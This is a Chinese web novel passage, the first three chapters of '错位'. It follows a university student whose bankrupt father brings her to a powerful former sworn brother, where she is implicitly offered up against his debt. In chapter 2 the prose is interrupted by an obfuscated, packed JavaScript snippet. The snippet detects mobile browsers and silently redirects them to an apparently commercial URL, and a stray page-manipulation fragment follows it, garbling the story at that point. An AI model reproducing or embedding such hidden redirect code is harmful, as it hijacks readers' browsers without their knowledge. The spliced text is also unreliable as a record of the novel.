《错位》 1. 第 1 章 (一) 木晓晞从来不觉得自己是个乖孩子,但是似乎从小到大,她好像也从没做过什么面子上不乖的事。 按部就班地上学,按部就班地作息,按部就班地考学,再报一个父母喜欢的专业。没什么特别要好的朋友,也没有什么激动人心的事情。 除了每一次考试或者课堂考核带来的心跳波动比较剧烈以外,生活平静得像一潭死水。 “接下来播放一段三分钟的新闻,一共听两遍,之后我会随机点人起来对这部分内容进行翻译和复述……” 木晓晞戴着耳机心脏砰砰直跳,心跳声几乎要淹没耳机里的声音,她努力地集中注意力,紧张得头皮都有些发痛。 刚那句说了什么?近些年的地产?哪里的地产公司来着?上升趋势……百分比……扩大…… 零碎的字句被勉强记录在纸面上,完全不成型。 平时在宿舍里练了又练的听力字句这时如同外星语一样被屏蔽在大脑之外,若不是她的手勉强靠发音记录了一些字词,恐怕她是什么都记不住。 “好了,结束了,从3号同学开始……” 她是4号。 “今天跳着来,3,5,7,9,11,这几位同学依次进行翻译,我放一段,你们翻译一段,3号先来。” 逃过一劫。 一节课下来,太阳穴处剧烈地跳动着,神经痛得她眼睛都睁不开。可恶的考试焦虑,真是服了! “晓晞你没事吧?又头痛了?”隔壁的张欣看她脸色有点差,问了一句。 张欣是隔壁宿舍的同学,跟她是老乡,俩人的关系相对其他同学来说要亲近一点。 “没事啦。”木晓晞龇牙咧嘴地笑,“都是老毛病了,上视听课用脑一多就痛,幸亏我拿了布洛芬。”说着她站起来边收拾书包,边从包里拿出一板胶囊来晃了晃。 “真没事吧,我看你嘴巴都有点发白了,要不要我陪你去医务室看看?“张欣有点担心地说,“你这头痛的毛病怎么回事儿啊,你要不什么时候抽空去医院拍个片吧,你需要我陪你的话,给我发Q啊……” “张欣!走不走啊?”张欣的室友罗雨言在门口催道。她们宿舍四个人关系很好,跟连体婴儿似的,干什么都要一起。 “Claire,vite,等你半天了,收拾什么呢要这么久?”她的几个舍友开始催她了。 张欣应了一声,然后回过头有点尴尬地冲木晓晞比了个口型:“那我……” 木晓晞连忙挥手:“Allez,vas-y,ne t‘inquiete pas,je vais bien。” “C‘est vrai?” 木晓晞比了个ok。 张欣拍拍她,然后从包里掏出一颗巧克力丢给她,小声道:“salut。” “salut。” 看着张欣和那几个女生离开后,木晓晞才松了口气,她边收拾包边和教室里剩余的其他同学挨着再见,等着人几乎都走完了,她才收起一脸假笑,撑着头揉着疼痛的部位在座位上坐了几分钟,直到下节课的老师提前进来了,她又挂上那张假笑脸:“老师好。” 小时候总学不会的人情世故好像一跨过十八岁那个坎儿,就开始自动学会了。 跟食堂偶遇的同学们再次假笑了一圈后,她总算打了饭回到了宿舍,然而辛辛苦苦排队等了十几分钟的鸡公煲,却吃了两口就有些吃不下了。最近不知道怎么了,胃口总是很差,精神也总是不太好,总是觉得很困想睡觉,但凡是没有点名考核的课程,她基本每堂课都会打一阵瞌睡。 高翻课除外,alex每节课都上得跟高考听力似的,她没死那都算心理素质大成长了。 曾经喜欢的饭最近吃着不仅不香还有些倒胃口,勉强糊弄了两口,喉管都有一种快要溢出来的感觉,实在没办法,木晓晞也只能把东西收拾收拾扔了,上床上躺着去了。应该不到两分钟,就已经有些迷糊了。 身体越来越沉,脑子像糊了浆糊,眼球开始不自觉地转动起来,大脑里的画面也越来越清晰,声音也越来越真实。 不知梦到了什么,她的呼吸也逐渐急促起来,整个人躯体开始蜷缩紧张,眼看着眼珠子动得越来越快,嘴巴也开始要参与梦话环节了,忽然枕头边的手机响了。 “玛卡巴卡阿卡哇卡米卡玛卡嗯……” 木晓晞的眼睛猛地一睁,盯着床边的栏杆直直地喘了会儿气。 “米卡把卡阿巴雅卡……” 她抓起手机,看到屏幕上显示的两个字——木钧。 她爸。 她有些恍惚,上次和木钧说话是什么时候?哦,还是在寒假过年时候。 没错,这就是她跟她爸的关系,生疏到不像父女,以至于连接电话这个事都能对她造成心理困扰,犹豫了好一会儿,直到这通电话挂了,下一通再次打过来的时候,她才非常不情愿地接了。 “爸……” 木晓晞跟木钧的关系不好是很正常的事,理由也很简单,她从小没跟木钧一起长大。 虽然七岁以前她是跟木钧和后妈一起生活的,但那会儿太小,也没太多印象,七岁多以后就被送去跟外婆一起生活了,外婆去世后,又去和爷爷奶奶一起住。爷爷奶奶那待了没两年,初中了,于是她就开始住校了,就这样,一直住校到了大学。 而那个所谓的家,她只有假期才会回去,木钧前些年事业做得大,夜不归宿的时候很多,所以即便是假期也鲜少能见得上面。 当然除了这些,还有很多其他的原因让她并不喜欢也并不想亲近自己的这个爸爸,但不管怎么样,有一个爸总比没爸要强。 毕竟木钧在钱方面还是舍得给她花,单从物质方面来说,他还算是个好父亲。 她刚这样想完,电话那头的木钧就告诉她—— 他破产了。 “……” 破产? 她脑袋都空白了,怀疑自己刚听的那个数字:“爸你说你……你欠了……多少?” “快一个亿,还不到,还差几百万。” “……”也没差了。 反复确认了两遍,确实是这个数字。 真的,一个亿,木钧敢说她都不敢听。 知道木钧之前有点钱,但没想到能有钱到可以欠下这种巨款,还以为他就是个普通暴发户。本来觉得一个月给她两千五的生活费已经算好爹,现在一看,对于没破产前的木钧来说应该也就是九百牛一毛。 “你是干了什么欠这么多?” 木钧支支吾吾地让她别问了,只是不断地唉声叹气:“说了你一个小孩子也不懂,很复杂。” 那打这个电话干什么?难道只是为了告诉她两千五也没有了? “晓晓,爸明天到L市来,到时候你去跟爸一起见个人,他可能能帮爸爸度过这一次难关。”木钧说 ,“那个人你也认识,你小时候见过的,是爸爸以前的一个拜把子兄弟,后来出了点事闹翻了,不过多少还有点情谊,他以前欠过我一个大人情,有可能能用上,但那个人脾气不太好,不好相处,我们之前又有些不好说的过节……” “我认识?谁啊?” “你可能不记得了,那会儿你太小了。” “……” “不过你不记得没事,他肯定记得,你小时候嘴甜很讨他喜欢,他离开D市以后我们见过两次,他都问过我你怎么样,你跟爸一起去,到时候嘴上甜一点,好说话……” 懂了,是带她去卖人情活跃氛围的。 她并不想答应,但是木钧在那头越说越哽咽,开始讲自己最近身体不舒服,到处要债要得他想死的心都有了,饭都吃不下云云,感觉再说下去她不答应就是纯不孝纯恶人。 饶是没什么太多的情分,木晓晞也依然有些为难。 就在这时,木钧突然说了一句:“晓晞,所有的办法爸都想尽了,现在真的是走投无路,爸爸只有你了……” “……” “女儿……” 最后木晓晞还是答应了。 就因为那句“爸爸只有你了”。 木晓晞知道自己有的时候是很窝囊的,窝囊就窝囊在有时她明明知道那是一句假惺惺的场面话,她依然会被影响。不过她也一直告诉自己,即便如此也没关系,人想在这个世界上好好活着总要相信点什么虚假而美好的东西,有些人信教,有些人信党,而她只是选择了相信自己的父亲。 第二天一早,木晓晞跟导员请了假,木钧中午十一点到的L市,水都没喝一口,啃了两口她带去机场的面包,然后便领着她上了一辆前来接人的豪车。 具体是什么车她不认识,她不认识大众以外的所有车,只知道这车坐进去就不一样,里头只有四个座,还有内置冰箱,光看内饰和空间,就比她爸曾经的任何一辆车都要豪。 一路上谁也没说话,只是木钧偶尔低下头给她微信发信息,叮嘱她一会儿不要紧张,要有礼貌,要打招呼,要学会叫人。 其实他少说两句,她反而会没那么紧张。 大概半小时后,车平稳地开到了一座规整漂亮的大楼楼下停住,不远处已经有一位男秘书等在那里,待车停稳便走过来亲自为他们打开车门,见到木钧时还打了声招呼“木总”,紧接着看到里头的木晓晞时,他脸上似乎浮现出了一丝惊讶,不过很快就又笑了起来,很是随和温润:“这位是木小姐吧?” “哎,是小女,今天她来接机,我就顺路带她过来了。” “徐总已经在楼上等二位了。” 接机?顺路?为什么要撒谎?木晓晞看了眼姿态谦逊的木钧,不知怎的,有些不好的预感。 接着秘书便走在前头为他们带路,木钧跟在秘书身后,她则着提着礼物跟在后面,快进大门时她抬头看了一眼这大楼。 好高。得有三四十层了吧。 因为要见长辈,又要求人,她今天穿了她衣柜里最拿得出手的一条圆领白色裙子,脖子上挂了一条细细的复古项链,上面有一串黑色小星星挂坠,最大的那颗黑星星刚好坠在她的胸口处,搭配她的黑色皮鞋和斜跨小编织包,很是青春,但又不至于失礼。 “陈秘书。” “陈秘书。” 一路上偶尔有人跟这位秘书招呼,态度都很尊敬,而这位秘书也相当有礼一一笑着示意点头。 木晓晞越往里头走,心脏就越不由使唤地开始加速跳动起来,也许是因为这位年轻秘书一路上的阵仗,再加上木钧前头跟她说的那一大堆嘱咐,以及亲眼见到这样一座巍峨庄严的大楼,她开始对这位即将见面的长辈的位高权重的程度有了些实质性的概念。 木钧说,这是位做地产和酒店的大企业家,极其年轻,却极其有能力。有多年轻?不过比她爸小三岁,她出生时她爸二十岁,现在她二十岁,木钧四十,也就是说这位企业家做到如此身家也不过三十七。 当时木钧说到这里时还停顿了一下,用一种有些嫉妒的语气说:“当时也是我给他指的明路,叫他转去做酒店做地产,如果不是我当年帮他,他现在还不知道在哪儿给人做包工头呢,只能说三十年河东三十年河西……” 之后他又抱怨了许多自己的不幸和倒霉,她一个耳朵进一个耳朵出,什 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不怪木钧频繁提醒,木晓晞从小就不喜欢叫人。一个是因为她从小没和木家人一起生活,谁也不认识,叫也不知道怎么叫,另一个则是因为木钧总是强迫她叫人。让她叫一个第一次见面的女人为妈妈,叫第一次见面的老头老太太为爷爷奶奶,叫第一次见面的小男孩为弟弟,叫很多很多她不认识的他的生意伙伴。 什么叔叔阿姨哥哥姐姐弟弟妹妹。 现在,又要见一个不认识的老男人。 进门后,木钧便一下笑容可掬弓腰哈背起来,双手伸得老长,冲着办公桌边那位稳坐在椅子上抽烟看文件的男人几个箭步便热情上前:“哎呀,真是好久不见了兄弟,哎呀,这么多年一点都没变啊,英姿蓬勃一如当年!” 房间中全是她爸戏剧式的深情腔调,木晓晞有点尴尬,不由自主地低下头去。她一向如此,最怕见到老师长辈和位高权重之类的人,面对这些人时,她总有一种浑身紧绷仿佛在考试的感觉,每到这时肾上腺素就直接坐了火箭了,全身上下都充斥着逃跑的冲动。 她下意识地避免和办公桌那边那位有直接的眼神接触,她爸拉她站哪,她就站哪装木头人。 “这是小女,木晓晞,晞晞,日字旁的晓,还有日字旁加一个希望的希,你以前都叫她晞晞的,她这名字都还是因为你才改了的,你记得不?她小时候又瘦又小,你说她长得本来就小,再叫晓晓就更小了,所以给她起了个名字叫晞晞。” 晓晓?晞晞? 听到这里,她身体内的紧张突然卡顿了一下。久远的记忆里好像是有什么东西若隐若现,她小的时候的确改过名,十二岁的时候改的,从木晓晓改成了木晓晞。 可她明明记得 ,这个名字是她自己主动要求她爸给她改的,怎么就变成了别人给她取的名字了? 这种疑惑让她有了一点胆量稍稍抬起了一些头。 “晓晓。”她听到木钧将她往前拉了几步,和她介绍,“晓晓,这是你徐叔叔。” 看清那个男人是什么样子后,木晓晞感到自己的心跳突然又开始剧烈地跳动,她几乎是屏着呼吸,提着礼物的手都有些发僵。 真是不走运,竟然真遇上了她最怕的那一类人。 只见男人翘着二郎腿坐在办公桌后的黑色办公椅上,手里拿着一根让她窒息的卷烟往嘴边送,一身深色的衬衣衬裤,一张什么表情也没有的脸上挂着一双居高临下漠然打量看不出什么情绪的眼睛。 完全无视了她爸在那里唱的那出结拜兄弟相逢的深情大戏,也完全不接话茬,他就那样松弛而傲慢地靠在椅背上,微微垂着眼,毫无心理障碍地把激情演戏的她爸晾在了原地,丝毫不在意气氛如何。 冷漠,严苛,不讲情面,善于拒绝和惩罚。 比木晓晞曾经最怕的女数学老师,也比她最不喜欢上的那个高翻课的扑克脸男外教还要更接近她最不愿意面对的那一类,也是她最害怕的那一类人。 他用挑剔冷淡的余光地扫描着入侵办公室的他们二人。 光是与这样的视线接触了一瞬,就足以让人产生想要逃跑的冲动。 “叫人啊。”木钧拍了她后背一下,小声催促,“晓晓,叫人。” 木晓晞低下头抿了下嘴:“……” “啧,晓晓。”木钧有些急切地拍了一下她的后背。 男人抽了口烟,然后把烟压灭在烟灰缸里,接着他叫一边的秘书把门窗和室内换气都打开。 之后他站起来绕过办公桌来,随手跟木钧短暂一握:“好久不见”。 然后走过来,手又朝着木晓晞伸过来。那只手很大,手臂结实又有力,比她梦里的那些男性看着还要凶悍。她不算矮,还站得这样直,也不过只到男人的肩膀,浑身的烟味臭得她汗毛都要竖起来。 “晞晞。”男人的声音和他的形象身份很匹配,充满了雄性的低沉磁性和压迫感。 “……” 她其实不太想握。也说不上为什么,好像有些过头的生理性抗拒。 男人等待了会儿,似乎察觉到了她的抵触,低低哼笑了一声,但还是很坚持地把手留在半空中等待她的回应。 木钧在一旁眼珠子都快瞪下来了,牙都要咬碎。 她没有办法,只好盯着那只姿态强硬的男性手掌深吸了一口气,忍住全身的不适腾出一只手握了上去,挤出一丝微笑来:“徐叔叔您好。” “胆子变小了,你六七岁的时候都是直接叫我全名的。” 男人浅浅握着她的手轻轻一晃。 “徐敬孚。” 2. 第 2 章 (二) “邹忌讽齐王纳谏里那位徐公的徐,尊敬的敬,浮夸的浮没有水。”解释完自己的名字,徐敬孚做出手势邀请木家父女二人到一旁沙发上坐下,然后叫进来门口的秘书,“泡壶好茶来。” 接着想到了什么,又回头问木晓晞:“小朋友喝什么?” 小朋友? 木晓晞感觉到自己笑得可能会有点假:“……都行。” 徐敬孚:“都行是什么饮料?” 木晓晞这会儿气都有些不顺了,管它喝什么饮料,她咬了咬下唇再次努力再挤出几丝有浓度的笑来,想让自己看起来放松一些可以接住对方这个明显的玩笑话,但好像失败了。 她的心脏剧烈地跳动着,紧张的心跳快要将她淹没,血充到整颗头上,耳边全是“咚咚咚”的声音。 木钧恨铁不成钢地看了她一眼。 好在男人并没有为难她,又问:“鲜榨橙汁喝吗?” 她愣了一下。 看到男人在耐心地等她回复。 木钧忍无可忍地拍了她后背一下,她回过神来连忙点头,点完发现自己没说话,于是又慢了半拍地挤出僵硬的笑容:“喝,谢谢……谢谢徐叔叔。” 说完就又低下头去。 不止是木钧,她自己都对自己的表现有些无话可说。可是她确实没办法控制自己的状态,不然也不至于每次考试都拉肚窜稀的,正式考试从来都没考到过自己的模拟分数。 幸好徐敬孚并不在意这些,他跟秘书挥挥手,接着转头跟一旁站着还不敢落座的两人说:“木哥坐吧,大老远地过来一趟,舟车劳顿,也辛苦了,还特地带着侄女一起过来,孩子也累到了吧,都坐。”他再次做出手势邀请他们坐下。 “没有没有,现在科技发达了,坐飞机也很快不累的。”木钧笑着坐到徐敬孚旁边的三人沙发上,坐在靠近徐敬孚的那一侧,然后叫木晓晞把手里的大袋子拿过来,“跟兄弟好久不见,小小礼物不成敬意。”不等徐敬孚把拒绝的手势摆出来,又道,“都是些土特产,没什么贵重的东西。” “是吗?”徐敬孚接过袋子看了一眼,包装得很严实很精美,也看不出什么,但显然不像是什么土特产。 不过无论木钧送什么,他都不是很在意,于是道:“木哥客气了。” 他扫了一眼这父女俩落座的位置,两人中间隔了整整一个人的距离,很远。木钧也注意到了这一点,但当着徐敬孚的面,他也不好说什么。 徐敬孚并没有主动开口说什么,木钧自然也不会让场子晾着。 “这么多年没见,徐兄弟的事业真是越来越辉煌了,老哥也是为你开心……” 虚伪又乏味的开场出现了。 木晓晞也不是没有见过这种大人谈事的场面,相反,她见了很多。曾经一度木钧很喜欢带她出去参与各种商业社交场合,哪怕她不乐意,他也会以锻炼她的社交能力多认识人脉的理由将她强行带出去,美名其曰见世面。其实就是看一群老男人带着他们各自的二奶情人一起吹牛喝酒,没有任何营养价值。 在这个过程中,很多在一开场被介绍得“位高权重”又“德高望重”的各位大佬和资深专家,往往都会在酒过三巡后逐渐显露出他们真实的面貌,胡言乱语丑态毕露。 从十几岁就开始见这些人,见多了很难说还会对这些人抱有什么崇敬和仰望。 她也很清楚自己在这样的社交场合中应该起什么样的作用,所以像以前每一次面对这些场景一样,结束最开始的客套环节后,她就尽可能减少自己的存在感,坐在一边当隐形摆设。当然眼神是不能跑掉的,还得看着说话的人,以免被人以为自己在神游,别人说话的时候不好好听着也是很无礼的。 她看着两个男人扯了几句有的没的的闲话,主要是木钧在说,那位徐叔叔只是偶尔应一两个字,时不时笑一下,但他的那种笑是不见眼底的,完全是场面的礼节性假笑,嘴角都勾得很是敷衍,然而木钧也并不被他这态度冷到,在久经沙场的木钧眼里,对方能有现在这样的态度总比一开始进门见面时那种毫无回应的审视要强得多。 虚假的沟通也胜过没有沟通,只要能开口,就有机会。 秘书很快就带来了一壶热茶和鲜榨橙汁。 “之后的一个小时,除非特别紧急的事,不要让人上来打扰,电话也都转到你那边去。”徐敬孚吩咐道,说着他拿出手机看了看时间,报了个时,“现在是十二点四十三。” 接着把手机关机了放在沙发扶手上。 “饿不饿?”他问。 “不饿不饿。”木钧连忙道。 他没问木钧,而是看着木晓晞那边。 木晓晞意识到是在问她后,跟个被老师点到的学生一样连忙站起来,站起来后又觉得自己有点傻:“……不饿,谢谢徐叔叔。” “吃了吗?” 没吃。学校离机场有点距离,得一个半小时车程,她就带了一个面包去的机场,本来准备随便填两口,结果被木钧给吃了。 徐敬孚:“小孩子不要老是饿肚子,不正点吃饭伤身体,还有一个小时,你先跟秘书下去食堂吃饭吧,我跟你爸谈完你再上来。”然后跟秘书示意了一下,让他把人带下去。 下去吃饭?但……她看向木钧。 木钧连忙道:“她吃了,我下飞机后晓晓来接我,陪我在机场吃了些。” 木晓晞:“……” 徐敬孚又朝她看去。 感受到他的目光,木晓晞连忙跟着笑:“是的,我跟爸爸在机场吃了一些,谢谢叔叔关心,我不吃了。” 见她如此,徐敬孚也没再说什么,便叫秘书离开把门锁上。门被关上后,屋里的氛围一下就只剩下了不安的寂静。 木晓晞看到男人再次翘起二郎腿,微微垂着眼,一只手放在沙发扶手上,手指沉默地敲击着放在上面的手机屏幕,敲得不快,但有节奏,像钟表的滴答。 她还数了一下,敲到第三十下的时候,停住了。 徐敬孚:“那就直接进入正题吧,我先说结论,这个忙帮不了。” 木钧脸上笑肉眼可见地僵了。 “老弟,这个事是这样的,没有你想得那么严重……” 徐敬孚抬手阻止了木钧的解释,道:“你来之前我就已经让人把你那边的事和情况挨着查了一遍,你是什么情况,我想我应该是比较清楚的,甚至比你还要清楚。”他扫了眼木晓晞,“有些话当着孩子的面我不想说得太难听,你明白吧。” 木晓晞连忙低下头,摆弄腿上的编织包。 “兄弟……” “一个亿,我都不知道你怎么敢开的这个口。”徐敬孚很直白,“是,十七年前我们是拜把子兄弟,你曾对我有过恩,但这些恩情,后来那件事之后就算是还清了,是吗?” 木钧这种说话处处留三分的伪君子大约是没想到徐敬孚会一开场就把话说到这种程度,一时厚脸皮都没了用武之地,他本以为有木晓晞在场,至少氛围不会太紧张。他失策了,也低估了徐敬孚如今的无情程度。 十几年过去了,徐敬孚早已不是过去的那个徐敬孚。 好在即便是这样的情况,木钧也有过想象和打算,他点点头,深吸一口气,让木晓晞把另一个小袋子里的文件拿出来,厚厚一摞,分成三沓,一共约有百来张。 他拿过后递给徐敬孚:“这是M市未来三年可能开展的一个项目,目前外面还没有什么风声……这是你也许查到了,但不一定完全查到的一些信息,这些信息对我来说是没什么用,对你来说也许有用……还有这个……” 徐敬孚拿着他给过来的三沓资料大致看了看,看到第三沓的时候,他明显顿住了。 “你说恩情还完了,也许并没有。”木钧鼓起勇气,轻声说,“徐总,你说是吗?” 木晓晞不清楚她爸给对方看了什么东西,又具体是什么东西能让那张波澜不惊 的脸上霎时浮上了一层短暂的暴怒,但她看到双方的互动,大概能猜到应该是什么把柄之类的东西。她爸竟然用把柄去威胁别人,还是一个他要求助的人。 虽然不是自己做出来的事,但她所受的教育也让她此刻也感觉到了莫名的羞耻和抬不起头,她再次低下头,让自己的存在感尽量减少。 这种充斥着焦灼和暴怒的沉默大约持续了一两分钟。 终于。 “这点恩情,你认为值一个亿?”她听到那个叔叔不屑地嗤了声。 来完硬的,木钧见他态度松动,便立马变了笑脸:“徐总,这个事……” 徐敬孚把手中的资料往茶几上一扔,打断他:“听说你小儿子挺优秀的,十六岁,少年天才,清北的料子,我很欣赏……你也知道我到这个岁数也无儿无女,这样吧,要不,把你小儿子过继给我,从此他姓徐,跟你木家的人这辈子都不能再见面,他跟我吃香喝辣,继承我的家产,只要他以后只认我一个父亲,我拥有的一切就都是他的,钱我也给你还。” 木钧脸色一下变了。 “这是一桩稳赚不赔的好生意,你不妨好好考虑,跟着我,他可以去的不止是清北,还可以是世界顶级的名校,他身边的人也不只是靠与人转圈喝酒低声下气不择手段才能赚到几分钱的角色,还可以是挺直腰杆有尊严地收获财富的精英,他过的生活,除了跟一群富二代一起炫耀谁的车好谁的妞腿长之外,他还能去亲手造出一辆心仪的豪车,有数不清的才貌兼备的女孩儿将他众星捧月,有我作为台阶,他见到的世界,朝夕相处的人,体验的生活,都只会是最顶配的。” 徐敬孚脸上挂着笑,但却没有一丝笑意。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200741|197175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你觉得……如果我到他面前去告诉他,其实我才是他的亲生父亲,他会怎么选择?” 木钧:“徐敬孚!” 徐敬孚:“十六岁是知道权衡利弊的年纪了,我相信他会做出最有利于你们木家的决定,也应该不会抗拒这种百利无一害的选择,你认为呢?” 木钧再次深呼吸几次,平息了一下心情:“徐总……不要拿这个事开玩笑,木延还小,他还不懂事。” “未必有你想得那么不懂事,智商这样高,想必也是遗传了他的母亲,他不懂事,不代表他的母亲会不懂事。” “……”木钧的假笑挂不住地往下垂落。 “怎么,一个儿子换一个亿,这种好事都不乐意?”徐敬孚并不打算放过他,笑了起来,他弯腰去拿了茶几上的一包烟和火机,抽了根烟出来给自己点上,慢条斯理道,“既然儿子不乐意给,那就把女儿给我吧。” 木晓晞猛地抬头,对上了他的视线。 “女儿也行。”徐敬孚看着她这样说,嘴角的嘲讽意味快要溢出。 这种嘲讽一下让她意识到了些什么,她连忙看向木钧,却见木钧脸上的神情一下从紧张防备滑向了不可置信,再顺理成章地落入到一种不合时宜的有些晦涩的惊喜之中。 这丝滑的程度,让木晓晞不禁有些怀疑自己的眼神,大脑也嗡了一声。 她有些懵地扭头再看向那个叔叔,只见那人却重新拿回了桌上那几摞资料,垂下眼眸看着纸页上的内容,抽着烟一页一页地慢慢翻看,烟从他的嘴角缓缓飘出来,飘到这已经冻结的空间之中,干焦的烟味将木晓晞最后得以生存的最后一丝氧气都快侵占抢尽。 也许是有点缺氧了,她感到自己的大脑一片空白,几乎无法思考。 她发木地盯着那男人,脑袋中一边机械地回放着那一句“女儿也行”,一边看着他垂着嘴角抽了一口又一口的烟,头都不抬一下,他抽烟那条胳膊的袖子挽起来大半,露出健康紧实的手臂,应该是常年都在锻炼,他的体态很好,高大的身躯无论做出什么样的傲慢姿态,都并不显粗鲁无礼,丝毫不像木钧昨天跟木晓晞打电话时说的那样,说这个姓徐的出身卑贱,乞丐堆里打过交道,天桥下面卷过铺盖。和近期头发白了大半憔悴干瘦的木钧相比,不要说只差了三岁,说男人与他是两辈人怕不是都有人相信。 一根烟都快抽完了,纸张也翻了十几页过去,终于,在脑子里那根弦被绷断之前,木晓晞听到木钧颤抖着声音说了一句她好像懂了又好像没懂的话。 “但是……你们年纪差得会不会有点太多了……?” “……” 什么……意思? 一直笼罩在木晓晞身上的紧绷忽然散了个干净,周身只剩下冰凉。她猛不丁打了个寒战。 这句话在她脑子里艰难晦涩地转了好几个圈之后,她忽然看向身旁的木钧。 她的亲生父亲,她的爸爸。前一天还在电话里叫着她“女儿”,和她说“只有她了”的爸爸。 她看到她这位爸爸的脸上有为难,有犹豫,有挣扎,有痛苦,有躲闪,有回避,有内疚,还有一丝除了她,也许外人都难以看出来的喜悦,以及放松。 对,很明显地松了一口气。 这复杂庞大又隐晦的信息进入到了她的眼睛里,却好像并不能被大脑以常理去加工处理,只能像垃圾线团一样堆积在那里,卡住了思考的程序。 她迟钝地眨了眨有些干涩的眼,缓缓扭过头,再次空白地看向那个叔叔,徐敬孚。 却没想到在对方的脸上看到了一种截然相反的神情,只见他脸上浮现出一层莫名和意外,微微蹙眉,夹在指尖的烟直直地冒着,明明都已经凑到嘴边了,却僵持着始终没能送进嘴里。他像是也在缓慢地思考木钧这话的意思。 那一刻,很难说木晓晞是什么心情。 一种说不清的巨大荒谬感包围住了她,那感觉让她仿佛回到了当初外婆和爷爷奶奶去世的时候,她站在老人的棺材面前,浑身冰冷,她不禁又打了一个大大的寒战。 房间内的空气像被冻结住了。 不知道过了多久,她听到那位徐叔叔发出了疑问。 “多吗?” 木晓晞握紧拳头。 然而,沉默继续蔓延着,持续着,持续到她都开始怀疑那句问话是不是没有出现过。 她忽然觉得有点可笑。 原来这就是木钧叫她来的原因。 不知道这停滞又持续了有多久,可能有一分钟,也可能有两分钟,或者更长。但不重要。 她听到了自己冷静的声音。 “不多。” 顶着两个男人的目光,她站了起来。 “不过十七岁不是吗?” 说完这话,她便离开了这个办公室。她饿了。 3. 第 3 章 (三) 从来没这样饿过,好像前胸和后背都成了薄薄一层一吹就破的纸。 发生了这样的事她竟然没感到有多少悲伤和难过,连愤怒也没几分,反而是被一种天灾一般的饥饿充斥了全身,连一路问人走到食堂这么几步路都差点没撑过去就那样饿死在半路。 直到她找位置坐下来,眼前都还是黑麻麻的,低血糖的突然发作让她浑身的毛孔大大敞开,虚汗一瞬间将她的裙子氤湿了许多。 她不清楚自己一动不动地坐在那缓了有多久,直到她听到一个声音:“还好吗?” 是个男人的声音。 她抬起头来,努力睁开那双还有点冒金星的眼睛,看到了一个有些熟悉的男人。是陈秘书。 “木小姐,你还好吗?”陈秘书再次问,递过来一张纸巾。 木晓晞眨了眨眼,接过纸巾擦了擦脸,笑了一下:“不好意思,我早上没吃早点,突然有点低血糖。”顿了顿,她又问,“我可以在你们食堂吃点东西吗?” “当然。”陈遇看了看她的脸色,温和地问,“您想吃点什么?” 低血糖时还会有些耳鸣,她摸了摸耳朵,感觉耳边像糊着一层报纸,但即便如此,她也感受到了对方的柔和,哪怕是眼前还有些模糊,也看得出那张不熟悉的脸上露出了一丝关切。 而正是这样的态度,却更让她身上的不适愈加突出。她想让自己看起来好一点,于是笑了笑:“我不了解你们这里有什么吃的,您随便帮我拿一点吧,清淡一点就好。”她顿了顿,忍住快要涌上来的情绪 ,“谢谢您陈秘书。” 陈秘书看起来很年轻,不过二十七八岁,瘦高谦和,戴着一副黑框眼镜,相貌堂堂,一身西装妥帖板正,像极了电视剧里那种真正的精英男士。 “陈遇,耳朵旁陈,遇见的遇。”陈秘书温和地介绍完自己,起身去一旁接了一杯橙汁过来,“先喝点甜的,你会好一些。” 接着便去给她打饭了。 木晓晞盯着眼前这杯橙汁眨了眨眼,好一阵,才将胸口里的那一堆不断翻涌的东西强行按了下去。她端起杯子喝了一口,很甜。 她其实不喜欢喝甜的东西。 尤其是橙汁。 但她还是勉强自己喝了一口,为了让自己更舒服一点,总不能还没离开这个鬼地方就直接晕过去。她曾经因为低血糖发作晕倒在澡堂的经历已经给她留下了深深的心理阴影,她不想让自己再陷入到那种赤身裸/体连从地上爬起来都没力气的窘态。 陈遇很快就打了饭过来,是很清淡的两样素菜,蒸蛋,还有一点米饭。 “谢谢。”接过餐盘和筷子,木晓晞便头也不抬地开始吃饭。 一口接一口,嚼得很细,吃得很认真。 见她这个状态,虽然不知道在办公室那一会儿是发生了什么,不过陈遇大概也猜到了应该不是什么好事。木晓晞家的事他其实也有所了解,因为木家的资料就是他全权负责调查整理出来的,所以他也知道这一次木钧来是为的什么。 按调查报告上的资料来说,木晓晞的生活算不上太好,亲生母亲难产而死,父亲再婚生子,弟弟仅比她小四岁,她由家中老人带大,老人接连去世后便去学校寄宿一直到上大学,可以说并没有随自己的亲生父亲长大,和木钧关系应该算不上多好。但就是这样一般的父女关系,木钧却在她假期放假后,又经常带她出入各种名利场合,尤其是高考后那几个月,她简直替代她的继母成了父亲身边带出去的女伴。 而其中的有些场合,甚至并不适合她这样一个小女孩参与。 木钧前些年手里有钱行事高调,很多事很好查,随便找人一问就问出来了,所以能查到木晓晞就在这个城市上大学,包括她上的什么学校什么年级哪个班也不奇怪,也很简单。 所以这一次木钧完全不打招呼将木晓晞直接带来,虽然有些意外,但也并非不能理解。 他们做到这个层次的职务后,难免会看到形形色色的人,遇到这种情况也难免会想得多一点。毕竟木晓晞长得不算差,甚至某种程度上来说,还有点像徐敬孚喜欢的那一款:清纯,单纯,孤高,理想化,不知柴米油盐贵。 徐敬孚不是个好女色的男人,但不代表他不是个男人。 只是,才二十岁。 陈秘书看着木晓晞拿着筷子仿佛带着狠劲地往嘴里塞饭,不禁暗暗叹了口气,起身去吧台那边点了三份口味不同的比较受小女孩欢迎的甜品,然后几种饮料一样要了一杯。 等他端着一大盘甜品饮料过来时,菜盘里的蔬菜已经吃得差不多了,筷子也已经放下了。 直到他将一杯一杯的饮料挨着摆上桌时,木晓晞才回过神来:“陈秘书……这……” “请你的。”陈遇笑道,“我们公司的甜点师傅不错,你可以试试。”他坐下来,一一给她介绍,“香草杯子蛋糕,巧克力慕斯,拿破仑酥舒芙蕾,草莓汁,香蕉汁,芒果汁,我看你好像不太喜欢喝橙汁,不知道你喜欢什么口味,就把公司里比较受欢迎的口味都点了一遍。” 木晓晞:“……” 陈遇:“嗯,别客气。” 